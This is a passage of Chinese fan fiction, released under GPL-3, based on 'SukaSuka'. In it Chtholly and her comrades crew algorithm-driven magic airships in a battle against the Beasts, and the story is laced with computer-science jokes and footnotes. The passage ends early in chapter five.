

Contents

CINT the Space Fleet (○).....	2
Preface:	2
1	2
2	4
3	7
4	9
5	13
6	17
True Ending:	22
Afterword:	22
CINT the Space Fleet (①).....	23
Preface:	23
1 Actions Have Consequences	23
2 Spring Cloud	26
3 The East Wind	30
4 Contact	34
5 The Mythical Man-Month	39
6 This is War	41
True Ending:	44
Afterword:	46

Preface:

感谢您的阅读！本文是 Destroyer Ignareo 的一部分，按 GNU GENERAL PUBLIC LICENSE Version 3 开源协议发布。

本文约 20000 字，是粉丝向的。如果您完全不了解《末日时在做什么？有没有空？可以来拯救吗？》，建议先去看动画/小说/漫画。

作者水平菜得不行。恳请大佬们多多批评指正。

本文可能涉及一些硬核设定。然而在下不打算放弃这些设定。还请海涵。

强烈建议用正统 Word 软件来看！ 本文有注释和插图。

1

“噶——————”

“噶——————噶噶噶——”

好热。

好热。就像古书里流传的故事那样，无征种们，毫无征兆毫无理由地，用钢铁的洪流将整个世界浇成了黑炭。直到五百年后的今天，人们对无征种的仇恨仍未燃尽。

不过，都是五百年前的事了。在**我**眼里，那些就只是童话故事。我不相信有人会愚蠢到发动莫名其妙且全无意义的战争。

金橙的日光推动着黄铜的炮声，穿透厚重的玻璃，烘得舱里一阵阵金属的焦灼味。好在有风扇嗡嗡地吹入新鲜的凉爽气体，让这个夏日的早晨不至于把**瑟尼欧里斯**¹舰桥上的人们烤成煤球炉里的焦饭。

¹ 巡洋舰瑟尼欧里斯，设定原型取英巡贝尔法斯特。现实中的贝尔法斯特如今在泰晤士河上作为博物馆。

图源: <https://www.bilibili.com/video/av2948246/>。下载链接:

<http://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=http%3A%2F%2Fio.hdslb.com%2Fbfs%2Farchive%2Fbe03f416b8cc70c691e1d5657787ca5feb8ea8f6.jpg&thumburl=http%3A%2F%2Fimg1.imgtn.bdimg.com%2Ffit%2Fu%3D1178801611%2C1893812010%26fm%3D15%26gp%3D0.jpg>



我把脸压在握拳的左手上，向右前方窗外的天空凝望——

外面是刚刚击退一波“敌人”的，一望无际的纯蓝天空……接着突然飞来 1mol 那么多的小飞碟，密密麻麻地铺满了雷达视野！

“砰砰砰砰砰——”瑟尼欧里斯的 152mx 火炮自动展开密集齐射。

5 秒后，便只剩下弹壳骨碌碌滚出炮塔的声音，以及我自己的心跳血流声。

窗外依然是密密麻麻的小飞碟。至少还有 0.95mol 吧！不慌不慌，反正还有 4kil 远……

这仅仅是 Regulu Ere(浮游大陆群)第 92 号岛东岸一场普通的演习，是虚假的战场。可我在无法拒绝自己去想象真正战场上面对这种境况的紧张和恐惧。因为每一次的靶标飞碟都会增加好几倍。只要有一个飞碟撞在瑟尼欧里斯上，我就会被判为失败。

假如今天是真正的战斗呢？

我仿佛看见无数的【兽】如海啸般扑向我的船。它们轻而易举地撕开所有的装甲，吞噬着无助的船员。那种想象简直和前世的回忆一样真实。

“不能再想了。感觉自己都要失去战斗的力量了。”我有点想吃颗药冷静一下。

虽然是经过反复调试的程序，虽然之前的效果一直都很好，但我的心还是砰砰地跳个不停，像密集齐射的主炮那样：“砰砰砰砰砰——”。

程序是高度自动化的。到头来我也没什么事可做。

“没事的没事的。就算失败了，那就当是无可奈何的命运好了。我也没有责任一个人去反抗这么多东西嘛~”我这样对自己说。

可是，并不是那样。

浮游大陆的退路还有多少呢？

不多了。

如果空军无法维持最后的战线，陆军想必也无能为力。我们就只能去坐星船了。星船，就是用来去很远很远的地方，就是即使造出来了，也不知道能航向哪里东西。或许几百代人都要在这星船上生老病死，又或许我们在星船上活不过三天。有生之年内，我们不会再得到幸福了。

何况我们还完全没有开始研究星船。

我不想那样。我不想放弃。

“Sierra Echo November，停止射击！”

我的眼睛仍然死盯着窗外的各种小黑点，唯恐有漏网的飞碟，一时竟对耳机里的指令完全没有反应。从高爆弹炸开的黑色烟幕中区分小小的飞碟确实不算容易。就算飞碟比瑟尼欧里斯的炮塔还大得多，在 1kil 外看清一个飞碟也实在是……

“唔诶诶诶诶诶诶诶？”

我终于意识到演习结束了。

得赶紧把程序停下来！按哪个来着？Ctrl+C！呜，猜对了，不不不，应该说本能地没有记错吗？

“停止射击。Sierra Echo November。”我尽可能平静清晰地向耳机另一侧复诵。这时，舰艏两座炮塔已经归位指向正前方。后面两座……嗯，屏幕上显示也归位了。

刚才发生了什么？我真的把那 1mol 飞碟全都打掉了？还是说……我漏听了飞碟撞上来的声音……

我茫然地转头。哦，后面还有两位军官来着。

兔征族一等武官 Barony 轻轻地鼓起了掌，而紫鬼族一等技官 Godley 竟也叼着烟满意地点了点头。

我的红蓝树+珂朵莉树算法意外地一次成功了。

这意味着巡洋舰瑟尼欧里斯会被正式编入护翼军，替代那些需要几百人操作的旧式飞空艇。我的名字后面也将被这艘巡洋舰冠以姓氏。那样的话……

就算被击沉，只要牺牲我一人就够了。

深呼吸。走下舷梯。向早已赶来的最高武官灰岩皮敬礼。和灰岩皮钢铁般的敬礼比起来，我的动作还是怯生生的。以后再慢慢加油吧。

“Muwahahaha！战士心中的风总能拂去一切浮尘。干得漂亮，算法星神。”灰岩皮毫不留情地用这个奇怪的名号来称呼我。天呐，那是大学同学给我起的外号……（情不自禁地想到给我起这种灾难性称号的那家伙）

“ありがとうございます～”我拧出一个微笑。我觉得这也不算什么恰当的回答。虽然在场的人不多，但现在应该算正式场合吧！我应该说点更漂亮的话才对……

灰岩皮将军其实是个随便的人。看起来很威严，却肯定对我不知所措的回答毫不在意。事实上很多时候他都放任我这个完全没地位的无征种和他随便闹。

通常都是无征种优先上前线。本来无征种连在公开场合太过显眼都是不礼貌的。

我希望大家能忘记我。

我，珂朵莉·诺塔·瑟尼欧里斯，22 岁，从今天起就是这艘巡洋舰的舰长了。嗯？为什么我一瞬间觉得自己还是 16 岁？仿佛回到了自己的大学时光。

蓝天和白云向无限远处延伸。草地被清风卷起阵阵波浪。瑟尼欧里斯庄严的深蓝色舰身挡住了太阳所有的灼热。

今天的瑟尼欧里斯也格外美丽啊！余生请多多指教了！

2

“这都什么鬼理论！”

我右手托腮，半眯眼睛盯着黑板。黑板左边是一棵二叉树，而且节点都涂成了红色或蓝色。右边还写着足有 0.1mol 的代码和解说。就算我抢占了第二排中间的好座位，就算我看得清每一个字母笔画的起承转合，最终也只能对着这堆天书两眼一抹黑。讲台上，被我私下

誉为“算法星神”的珂朵莉·诺塔即将开始讲解她毕业论文里的新想法：

“这个数据结构，我叫它红蓝树²(Red-Blue-Tree)。”珂朵莉指着黑板上涂得密不透风的色块开始解说，“红蓝树可以在 $O(\log n)$ 时间内查找树中的元素，其中 n 是树中所有元素个数。”

我当然不想听无聊的毕业论文答辩交流会。这种活动基本上就是学校为了走个形式而走个形式。我这个平时完全不听课（主要因为听不懂）的人根本不可能理解她的论文吧。

于是我开始偷偷打量起珂朵莉本人。

虽然我们平时也没少见面，但今天的珂朵莉还是非常吸引我的目光。大大的灰色帽子戴得低低的，身上穿着同样颜色的大衣。那样穿搭恐怕是为了尽量低调。³然而大衣里裹着的黑白色连衣裙，以及从帽檐流下的苍空色长发，外加不知怎么梳出来的两个短马尾辫，则给人一种并不袭人却无法抗拒的安心感。唔，就是那种一旦感受到就不想失去的安心感。而领口下那颗很少戴上的蓝宝石胸针，更是给这种安心感加了一级共集放大器⁴。

珂朵莉的家世简直就是专门为了培养精英而存在。浮游大陆造出第一台通用计算机后不到十年，珂朵莉的养母兼老师妮戈兰提出并实现了“进程”的概念，后来又提出了“线程”，乃至 CPU 上用流水线实现的汇编指令级并发，堪称计算机学科的奠基人之一。珂朵莉的同学兼姐妹兰朵露可、诺夫特和奈芙莲从五百多年前的古书上发现了“字符串特征向量”的记载。于是三人联合提出了 RNN 算法⁵，可大幅加快从大段文字中搜索一个单词的速度。（据说兰朵露可喜欢看地面上挖出的硬盘里所藏的书。她早就想找个办法快速搜索单词了！）

至于珂朵莉本人，她不仅在高中时就横扫 REOI⁶，而且在大学更是解决了许多连军方珂学家⁷也觉得棘手的难题。比如说这次的红蓝树还可以用来大幅提升计算机中分配内存 (malloc) 的效率——我完全不明白具体细节，但珂朵莉说分配内存和发现新的兽是一样的。

最可怕的是，珂朵莉今年才 18 岁，却快要大学毕业了！

珂朵莉一直在致力于飞空艇的无人化。这种事当然很难，风险很高，而且肯定会掉很多头发（就算珂朵莉是女孩子，留着那么多头发不太容易掉光，我还是觉得飞空艇用的代码足够让任何人秃顶）。然而珂朵莉对我说过这是她最深切的愿望之一。

我想分担她掉下的头发。不过她好像不会因为过度劳累而掉发。真是太好了。

确实是像星神一样厉害的人物。不，她比星神还要美好得多，只可惜和我一样是最受歧视的无征种（传说中给世界带来灾难的星神也和无征种最接近）——嘛，无征种对我来说完全不是问题啊！

连她也要在不久的将来上前线？我来代替她战斗！我会把她该杀的兽一起杀光。

我甚至开始想象和她在飞空艇上一起拉下绳子向兽开炮……

我终于意识到自己的心脏早就砰砰直跳了。打住打住。还是想些更加切实的事吧。

这是最好的时代。计算机程序开始替代我们完成大量工作。然而这也是最坏的时代，因为五百多年前灭绝的无征种古人类遗留下的智能兵器【兽】从二十多年前突然开始袭击浮游大陆。这两件事太过巧合了。如果【兽】提早一两年袭击，我们就没有任何通用计算机，只能用不可靠的模拟电路去指挥火炮的俯仰。讲个笑话：大英雄格里克手动操作 183mx 炮打下过好多的兽，比模拟指挥仪还精准得多！

唔，结果我还是在想些不切实际的东西。虽然我也像所有人一样为了浮游大陆的生存而被迫做着各种努力，但我终究离那些大英雄太遥远了。

还是想想近在眼前的事吧。我的毕业论文是关于魔能火炮的异步装填。

² 红蓝树，设定原型为红黑树

³ 直接抄了末日时第一部小说对珂朵莉的描写

⁴ 虽然不能放大电压，但可以大幅提升电流输出能力

⁵ 设定原型为 KMP 算法。RNN 是取三人名字首字母

⁶ 浮游大陆信息学奥赛

⁷ 珂学家->科学家

本来魔能火炮完全是不切实际的遐想。最朴素的操作是直接把咒燃炉产生的魔力向外释出，但这样的方式随时来个失控爆炸都不奇怪，而且很容易让咒燃炉的魔压迅速降低，导致停车或损毁。于是天才的奈芙莲和妮戈兰做了许多小块的缓存空间把魔力暂时收集起来，且运用多线程装填方法极大地提高了魔能火炮的可行性。各个互不阻塞的线程可以在咒燃炉与大量小缓存块之间完成并发装填。以同样的道理，多线程也可以控制缓存块内魔力的释出。

然而多线程仍然不够快。 $O(n^2)$ 的线程调度复杂度严重限制了大口径炮的发展。于是现今最大的实用魔能炮居然只有 40mx，用来充当防空炮。要击伤某些表皮坚硬的兽，只能用带有魔力的实体穿甲弹在近距离射击。这种自杀式战斗总是由英勇的无征种完成。

珂学院一直在研究更高效的线程调度算法，但更快的算法总是会牺牲能量充放的均匀程度，使某些魔力缓存块炸裂，或过度释放能量而永久损坏。

所以算法和理论是不会带来幸福的！

如果干活的时候需要算法，说明别人早就做过这件事了！如果别人也没做过，直接问珂朵莉就行了！如果珂朵莉不行了，那我就行给你看！

只有架构能拯救世界。

这个世界的软件天才们备受追捧，但我们也要从硬件层面考虑问题。

传统做法都以 CPU 为万物的中心。于是 CPU 必须不停地询问每一个线程以确定缓存块充能程度。而我认为，应该把主动权交给每一个缓存块。当缓存块认为自己已经充能到合适的水平时，主动通知 CPU 这个“仆人”给下一个缓存块充能。CPU 每次都听凭一个缓存块的差遣。

正好奈芙莲前阵子刚刚在最新型实验 CPU 上默默地实现了异步中断，让其他硬件也可以掌握主动权。我认为我用这样的 CPU 至少可以把魔能炮的口径推向惊人的 305mx。这样的力量应该足以贯穿任何常识的和非常识的物体。

不过，我那些高中生级别的公式写进论文里，教授们肯定不屑一顾。教授就喜欢看那些两公里长的积分式和花里胡哨的变量名堆成超大的矩阵，外面再套一个超大的求和符号嘛！

而且，我是个无征种。

但是我借着珂朵莉的帮助，在最新的 CPU 上模拟过了！我只给珂朵莉看过成果。

嘴边露出邪笑。我，“攻城剑鬼”威廉·克梅修，偏要拿出十二万分的自信。毕竟实验效果是那么的棒！

攻城(工程)剑鬼这个称号居然还是史旺教授给的。

“所以指挥仪可以把袭来的每一只兽注册到红蓝树里，然后把数据发给火炮。对于不断袭来的新兽，不用急于立刻注册到红蓝树。我们可以用单链表把新出现的兽快速缓存下来。在火炮准备好攻击新的目标时，再将单链表中所有内容一口气写入红蓝树。接着火炮各自使用我最新创作的这种树推平每一段区间上的兽。红蓝树在无法预测未来的前提下实现了快速注册新袭来的兽，而新发明的这种树在推平区间操作上极其高效。”珂朵莉已经在讲台上做出最后总结。

“你自己觉得你的模型有什么缺陷吗？”

第一排座位中间，年纪最大资历最深的不死族史旺教授突然这样抢着发问。

史旺这次又是不合常理！

我听见珂朵莉最好的朋友缇娅倒吸一口凉气。

全场一片寂静。

珂朵莉一惊，隐隐地缩了一下头，然后陷入了犹豫。

珂朵莉的视线似乎向我移了过来。

“只是我还没有想好如何称呼新的树。”珂朵莉冷静地回答。

寂静。

珂朵莉的目光又和我对上了。

“您真的觉得这个有很大问题吗？”实战经验丰富的无征种工程师莉莉娅向史旺私语。

“新发明的树令人印象深刻。直接以你的名字命名也不为过。”史旺又出惊人之言。

在浮游大陆的文化下，让无征种在历史中留名是需要勇气的。

“珂朵莉树……”我坐在史旺的斜后方窃窃地自言自语。

“嗯，珂朵莉树。”护翼军的一等武官灰岩皮突然微笑点头。

“谢谢各位教授。”珂朵莉紧张地一鞠躬，带着跳步快速离场。

——在珂朵莉退场前半分钟，西海舰队倒数第四艘重型飞空艇与护翼军失去了联系。

希望这不是真的，是因为AM通信不够可靠才没有联系上。

一定又有许多人死去了。而且许多无征种会去顶替那些死者的战斗。

3

出征前。冬日夕阳下的斯卡布罗军港。

总任务是调查西海最近有舰船失踪的地点，获取一些兽的情报。

“舰长，37岁的艾瑟雅·麦杰·瓦尔卡利斯，同时担任本次作战总指挥。她的炮手和通讯员是25岁的威廉·克梅修。这两位就是浮游大陆有史以来最大的人造物的全部舰员……吗？”我翻着作战计划书。

然后是很熟悉的名字：22岁的珂朵莉·诺塔·瑟尼欧里斯。从平均时间和空间复杂度来说，我觉得一个人驾驶巡洋舰冲在最前面是有史以来最不可能完成的任务。好在瑟尼欧里斯的算法优化程度是最高的。

前两艘船的作战预案占了计划书的绝大部分。我在最后几页才翻到关于我的任务说明：19岁的一等武官奈芙莲·卢可·印萨尼亚，跟在瓦尔卡利斯后面400到500kil处提供支援。这次我的驱逐舰上终于有导弹了，而且直接就是射程最远的型号？另外还涂上了雷达隐身涂层。这样只有在较近距离才会被兽的主动雷达探测到。

最后是我的队友，22岁的一等武官缇亚忒·示巴·伊格那雷奥，有生以来第一次实战（一等武官毫无实战经验？护翼军那么缺人吗？），同样仅作跟随支援。伊格那雷奥是先进的光学隐身驱逐舰，而且这回大量搭载了空间曲率鱼雷。一般人用这种东西根本什么也打不中，还会误伤队友。但它撕裂空间的威力不亚于瓦尔卡利斯的主炮。这种实验武器可以直接通行于“空间”本身，并直接炸开“空间”。没错，就是那个与“时间”相对应的物理概念“空间”。配合着伊格那雷奥的隐身和高速高机动，可以说是很有想法的战术。

根据推测，飞空艇很可能是因为发射雷达波而被兽发现。巡航中只允许瑟尼欧里斯开雷达，因为开着雷达的船也在暴露自己。作战中我们会用瓦尔卡利斯的超高功率雷达来探测和制导。我的导弹这次要托她的福了。

今天的集结想必会非常冷清，很可能是一只手就数得过来的人数。然而大量新锐科技的集合，则可谓非比寻常。从四艘船的配置来看，最高武官的意图显然是让瑟尼欧里斯主战，瓦尔卡利斯抵挡兽的火力，并处理个别难以对付的目标。虽然没有明确指出我们应该干什么，但特别强调两艘驱逐舰“避免正面交火”。这是有道理的。连重型飞空艇都挡不住的未知敌人，我们这两艘船怕是要被一击碎成好几段。

我和缇亚忒要灵活应变。

灵活应变——这个字眼让人不安。但我是绝不恐惧的。我的意思是，如果珂朵莉遭遇危

险，威廉会用 FM⁸ 高功率魔能波在紧急频道上呼叫我们。威廉总能在硬件层面甚至物理层面搞出些奇怪而可靠的东西，所以我不应对前方三人的处境感到恐惧。

无边无际的云海翻卷着，被金黄的朝阳染成阵阵麦浪。金黄的麦浪涌上舰桥，让屏幕全都燃上稻穗的金色。

或许“麦浪”并不恰当。毕竟那是古书上描绘的东西，我从来没见过。甚至古书都说那是“古老的”美好田园时代。真的无法想象那样的风景离我有多久远。

我张嘴扯下一口面包。临行前，最高武官送了几个面包给我。我以为这种稀有食物会很好吃，然而面包和土豆的口感完全不一样。我只能说，这帮爬虫族的牙口真好。

宽阔狭长的前甲板被朝霞烫上了朽木色。那块地方刚好可以容纳 INS 和 IGN 并排停靠，加注燃料。或者也可以勉强让 SEN 单独骑上来，但 SEN 的船艏会伸出去很多。我的燃料足够航行三个月，但如果要给另外三艘船补给，只能勉强用一个月。另外，不知道楼下的炮手会用什么惊人的功率把燃料全当炮弹打出去。

“Victor Alpha Lima 现在空速两两洞。”我拿起无线电向前方 10kil 处的 SEN 报告。

“两两洞。预计最终距离……唔，幺三 kil。Sierra Echo November。”完全是珂朵莉的回答风格：有点青涩，不怎么规范，像未经训练的普通人，但还挺舒服的。

SEN 的速度升到了 250kn，而我这艘战列舰瓦尔卡利斯的常规加速实在太慢了。不知还要多久才能达到和她相同的速度。战斗中当然可以直接开加力，但现在不应该浪费燃料。13kil 的间隔还算合适。就这样慢慢加速好了。

漫长的旅途何其无聊！我扫了一眼仪表：没有任何问题。ういうい，毕竟是我年轻时自己设计的东西。我觉得我自己还算是值得信赖的。

突然——

“うい！技官！你在干什么！”我居然听见了炮塔转动的声音，于是对着楼下用无线电大喊。

“すみません”二等技官威廉懒洋洋的声音从扬声器传来。“一路上什么也没发生，我都怀疑我的程序宕机了。”

“回正回正！你会影响航向的！”我接着喊。

“我能试射一发吗？”哇！这家伙胆子也太大了吧！

“不行！你拿走咒燃炉的功率会降低我们的速度！”我对这家伙忍无可忍。

“不是降低速度的问题。说不定咒燃炉直接就停车了呢？”他还在嘴硬！

然而炮塔倒是慢慢回正了。

要说这护翼军也真是绝了。先是颁布命令让大批的无征种去前线送死，再是半威逼半利诱地拉我这个民用飞空艇设计者去造空中驱逐舰。最后最有趣的是，即使高度自动化的舰队已经可以批量部署了，护翼军仍然没有让那些无征种退役，并且硬要死守着瓦尔卡利斯和瑟尼欧里斯的秘密。结果呢？无征种兵源已经殆尽了，甚至要从学生和珂学家里抽人直接上战场。看看现在护翼军最先进的船上坐的都是何等自由散漫的人！难道全世界只有威廉这个算法白痴会启动 343mx 炮塔吗！而且这个炮特别不实用，远距离打不着，近距离转速太慢跟不上目标。

不明白。完全不明白。

还有还有，那个威廉到底和珂朵莉有多熟啊！出发前听到一声“威廉姆？！”居然一边喊着“珂珂！”一边就冲出十几米的距离一把抱了上去！六百年前的狗血言情都不敢这么写！

好吧，自由散漫也有益。比如说灰岩皮允许我把头发梳出两个猫耳。这个优雅的方法确

⁸ FM（频率调制）的信噪比很高，但同一频道上能量高的波会严重压制能量低的波。因此现实中飞机上的通信都是 AM（振幅调制）。这样在同一频道上有多人说话时，每个人都能被听见。

实让我的日常行动方便了很多。

我拿起无线电：“Victor Alpha Lima 现在空速两三洞。不用回复了。”

原来我艾瑟雅·麦杰·瓦尔卡利斯也是自由散漫的家伙。灰岩皮为什么会举荐我这种人替代他的位置啊——！我要造星船！不想来搞这个笨重的瓦尔卡利斯！

“你这个民航出身的家伙省起燃料来就像我给 CPU 涂硅脂。”扬声器里传来楼下那位的刺耳声音。

“~~威——廉——姆——~~？”我的脸上带着（不怀好意的）微笑。

4

这片空域天气很好，但瑟尼欧里斯的气象雷达显示，前面五六百 kil 处积云和对流很多。

大约已经飞行了 48 小时。她们肯定也都瘫软在椅子上。

夕阳染红的云海真美。我快要忘记自己的使命了，仿佛自己是观光客。可是云海会无尽地持续下去。它越是持续一秒，战斗就越有可能在下一秒来临。战争永远会来临，直到它真正来临的那一刻。

——没错，只有死者能见到战争的终结。

直到珂朵莉在微弱的 AM 载波上宣告：

“兽群，距离 200kil，方向两八五，高度 3000ft。”

我像个被充气的气球，一下子从瘫软状态变为坐正坐直坐好。我的冷汗可能已经流下来了。我的心脏开始加速，牙开始紧咬，腿开始微微发抖。我拉紧了把我绑在座位上的带子。

下一秒，我稍微试图理解了一下珂朵莉的话。惹一大群兽显然不明智，但我觉得目前还不需要我们做什么。我们的高度是 10000ft。200kil 的水平距离对于珂朵莉来说是很远的：远在射程外，且快要超出雷达能锁定的范围。希望这只是一场擦肩而过。

五秒后，我所有的希望都被击碎了。

“兽群，距离 195kil——速度好快！正在接近我！”

“艾瑟雅！让我开炮！”是威廉的吼声。

“~~ういうい——悠着点悠着点。你打得着吗？~~”

我们早就被发现了？

“我们能支援吗？”我用 FM 询问。

“你保持无线电静默！会被发现的！——威廉你干什么啊？！”

耳机里有瓦尔卡利斯炮塔转动的声音，低沉而充满力量。

“谁说我打不着？”

“瓦尔卡利斯的雷达正在启动——”

“我……行吧我需要雷达。”

“160kil！8000ft！”

太快了吧。每秒 1kil 还多一点。

“Sierra Echo November，自由交战——……后面的船马上加速脱离！你们可能已经被定位了！”

我犯错了。

我想起了珂朵莉在瑟尼欧里斯上首次实弹演习的情景。那些舰炮显然不是用贪婪算法全力处理当前距离最近的敌人，更不是发现什么就打什么，而是像各自商量好了一样。大多数时候每个炮塔负责一个扇区，绝对不会出现多门炮对着同一目标浪费火力的情况。然而在确实有威胁的目标出现时，所有炮塔都会突然团结一心。显然这背后是具有全局优化的算法。

总之我觉得那些炮塔的合作中有一种预知未来般的智慧。

我相信珂朵莉前辈不会有事。我也好想成为她那样强大又美好的人。

短暂的静默。

电脑程序是需要提前做好准备的東西。任何一环没有准备好，战士就会死无葬身之地。速度那么快的东西，我能打中吗？

`lepre autofire.lc9 -rate 9` 这行脚本早已在屏幕上待命。我已经无数次检查这条命令的拼写，还把光标移回去数了数有没有多打空格键，但我现在特别害怕按下 `Enter` 后它报错。

我突然喜欢上了威廉做的图形界面。图形界面流传于大学的后进生之间，用来帮助不会命令脚本的人。原来图形界面是那么让人舒服让人安心的东西。

60kil, 55kil……

我的有效射程勉强才 30kil。我觉得它们绝对会撞到我的船上来。

前面好大一团乌云。如果我冲进去，它们会找不到我吗？

不行，来不及冲进去了。而且它们绝对还会找到我。

座位背后还有一把圣剑。那个是每位飞空艇舰长的荣耀，需要舰长体内的魔力来驱动，是在最后时刻用的。用了的人恐怕都再也回不去了。说不定我连用的机会都没有。

我紧盯雷达屏，没有回头，在精神上又回头看了一眼那把剑。

“那个是导弹!!!”

诶？

导弹？那种一直追着敌人不放的东西？要怎么回避……

我从来没有对付过那种东西。大脑一片空白。

“关掉雷达！破 s¹⁰！”

这一瞬间，我的手指正打算发力按下 `Enter`。

关掉雷达？那个命令是怎么写来的……？

不对，现在输入窗口被开火命令占了。

关雷达操作没有快捷键。要么新开一个命令窗口，要么把开火命令删了——或者先执行开火命令。执行命令后，雷达还要先保存数据再退出。

都怪我把雷达程序的鲁棒性做得太好了……

来不及了！会被命中的！

求生本能让我的右手直接伸向了头顶上的硬件开关。

那个是什么？是雷达-射击指挥系统总电源。

运气真好。我不敢再找另一个开关了。马上就拨下这个……

也不行。拨下去的话屏幕上的开火命令就没了——整个电脑也没了。

我还想把左手伸向回车键。我低头看向键盘。

但我的本能还是命令着右手拨下了硬件开关。

下一秒，我向右猛转操纵杆。自动驾驶被自动断开。

糟糕，我应该用快捷键让自动驾驶帮我回避的——不对，现在雷达已经没了，会不会在运行时找不到依赖包……？

“用你的船底接导弹！”

船底装甲最厚，结构也最牢固。可是来不及了。导弹从右前方袭来，我应该向左滚转，

⁹ 妮戈兰为了让黄金妖精们更容易地学习编程，创造了编程语言 `Leprechaun` [ˈleprəkɔ:n]。它既是脚本语言，也可以先编译后运行。`autofire.lc` 是珂朵莉写的自动炮击程序。

¹⁰ `Split-S`，一种机动动作，和 `JavaScript` 无关。自己百度吧。

但我已经向右滚转了。

提前拉操纵杆吧。这样至少不会让船的上层被命中太多。

在混乱的重力下，我既来不及知道船的姿态，也无法估计拉杆时机。演习时都是威廉的程序辅助我做回避机动。

忘记收油门了。破 S 要收油门。右手向两个推力手柄摸去……

不管了。现在就拉杆。

啊……只用左手拉杆好别扭……等我放完襟翼就两只手一起拉……

6G 的过载让我的眼前开始黑蒙，手上也失去了力气……

导弹突然从前面的积云里穿出来了。我用目视都能看见。在即将击中瑟尼欧里斯前，导弹一下子变向，朝着我们冲过来。

瑟尼欧里斯像喝醉了一样向右猛歪，超过了 90° ，然后船头朝着地面栽了下去。¹¹

几发导弹撞在了瑟尼欧里斯的船底，而且入射角度¹²肯定不到 60° 。炸开了。

我在脑中想象着瑟尼欧里斯被打穿得很深的样子。但实际上它没有掉下什么大碎块，也没有拖着火光失控下坠，甚至好像根本没受导弹的影响。莉莉娅制造的装甲配上我设计的舰体结构，防护相当靠谱。

艾，这破 S 珂还行。谢天谢地，她没事。应该是没事吧。

要是她受伤了，楼下那位可能要发疯。要是她阵亡了，楼下那位绝对会崩溃……

瑟尼欧里斯保持破 S 的轨迹，并消失在我的视线里。现在轮到我们对更多的导弹。

瓦尔卡利斯的正面防御最强，其次是底部。我开始加力并拉杆抬起船头。导弹至少还有五秒才会击中我们，我肯定可以拉起船头 30° 。我相信我们不会被击穿太多次。

然而我看到前方巨大乌云的背后闪过一道光。那道光亮得不正常。乌云好像被它照成了透明。我的眼前出现了遮蔽整个视野的残影。

那是什么？像是人脸，但看不清。

这之后……啊——！

撕裂耳膜的惊天轰鸣炸碎了我的脑袋。暴烈的冲击波猛捶我的胸口。比太阳还亮的闪光彻底致盲了我的双眼。

我开始闭眼，捂耳朵。可是眼睛还未闭上，手还没行动，我的意识就几乎堕入黑暗中了。

这不正常……

我最后的念头是：

“捂错了，那个是猫耳朵。”

珂朵莉的破 S 有惊无险。我的视线转换到了末端防御雷达。那上面有蓝色的 SEN 和几十枚导弹。珂朵莉的程序肯定能让我的副炮打下一些导弹。

lepre autofire.lc -rate 9 -ammu “venom”

152mx 副炮开始充能。0.5 秒内它们就会喷出愤怒的魔力，如巨蟒的毒液般腐蚀那些导弹。我懒得抬头观察战况，又开始在屏幕上找瑟尼欧里斯。

窗外闪了一下。那么快就发射了？我有点欣喜于这远超预想的性能。

不对……啊——！

恐怖的冲击波让船猛地右倾。眩目的魔光让我几乎盲目，耳边只剩嗡嗡的鸣叫，胸口剧烈地闷痛。我看不见也听不见了。

重力居然是从右前方传来的。船的姿态显然不合理。我从地上摸到对讲机：“艾瑟雅！”

¹¹ 别慌。破 S 机动就是这样的，虽然珂朵莉这次做得不太优雅。

¹² 垂直入射时，入射角记为 0° 。一般的弹药以较大的入射角击中装甲时，产生的损伤远不及垂直入射。

艾瑟雅！”

我闭上眼等待视力和听力恢复。楼上没反应？是我没听见吗？或者是她没听见？

“艾瑟雅！”这次我能清晰地听见自己。

重力的方向恢复得很慢。这肯定是通过船自身的姿态稳定性来恢复的。要是艾瑟雅在操纵，绝对会拉出两三个 G 让船马上恢复平飞，方便我展开反击。

睁开眼。末端防御雷达屏幕上黑黑一片。总觉得周围不应该什么都没有。

好像也有道理。导弹全打在这条船上，不就什么都没有了么？

那么我就把船拉起来，然后去看看艾瑟雅的情况。

不对。

不会吧……瑟尼欧里斯……

我猛地抬头：

以夕阳染红的大地为背景，空中有一团炸开的烟花尚未消散。其中的魔力放射出光辉，美得像彩虹染过的蝶翼。

我不愿相信。

大地正在迅速迫近。我赶紧拉操纵杆。

眼前铺出了彻底开阔的天空与夕阳。之前的积云全都不见了。在远方的天边，矗着一个巨大的黑色骷髅。那上面的金属光泽让我不寒而栗。

“珂朵莉——！！”

那撕心裂肺的带着悲愤和哭腔的吼声既熟悉又陌生，让我勉强没有忘记要从黑暗中把意识挣脱出来。

我觉得可能只过去了几秒钟，但也可能是很久。我的手和头都耷拉在座位上。虽然闭着眼睛，但视线光亮一片。

脑壳疼。有断续的失重眩晕感。我得注意脑损伤，不要因此做出错误决定。

我勉强抬头，微微睁开眼睛。眼前是不可思议的一幕：

3 座双联装 343mm 魔能炮同时开火，放出魔力特有的彩虹色光。6 门火炮持续不停地输出，好像永远没有停歇的意思。

什么情况？

我的头又沉了下去。脖子痛得像断了一样。

好累啊。睁不开眼。全身都像在燃烧。

听起来，珂朵莉可能已经不在。可能连组成她的物质都已蒸发为无形。

我做过珂朵莉突然离开我的觉悟。早就不是第一次有战友死去了，而且有人死得非常惨。但我特别想为她，顺便也为他心酸一次。

不，没时间了。我还得保护活着的人。

可是，心酸。心疼。

呜呜呜……

还是好难过啊。她是我重要的朋友。

泪从眼角流下来了——也可能是血。

泪或者血让我又可以略微睁眼了，但抬不起头。

仪表上一大片黄色红色警告。主炮充填率：110%，109%，108%，……

——？

我只能通过转眼珠子来看其他东西。主炮发射功率：892%。主炮装填功率：767%。

怎么可能？一边装填一边开火？仪表坏了？但是主炮确实在持续射击。

闭眼。我开始思考。

威廉说过，他也不知道异步装填的极限在哪里。演习的时候为了不给地勤大爷添麻烦，我们没有加力使用咒燃炉，也就从来没有做过极限装填测试。所以我姑且相信一下装填功率的数值。

但一边发射一边装填又是怎么做到的呢？就好比某个程序既是客户端，又是服务器。它一边问咒燃炉要数据，一边向主炮发数据。这两件事放在一起，仍然在总体上是异步的？不可思议。

不行了。稍微依赖他一下吧。我好累……要消失了……

我的身体和意识都瘫软下去。

5

我的手有些发抖。恐惧和悲伤像海水一样灌入这间舱室。

只有反击了。必须在骷髅下一次开火前摧毁它。然后说不定我能去地上找到她……最好她还活着。希望地上的兽不要刺穿她不要蹂躏她。

“珂朵莉——！！”

我不喜欢往电脑输入命令。各种手柄才是我最好的老婆。

不，她才是最好的……那些像蓝天一样美好的记忆涌上我的心头。

珂朵莉说过想要用自动化飞空艇拯救更多人。我觉得她仅仅是存在，就能成为我的救赎。

如果她不行了，那我就行给你看！

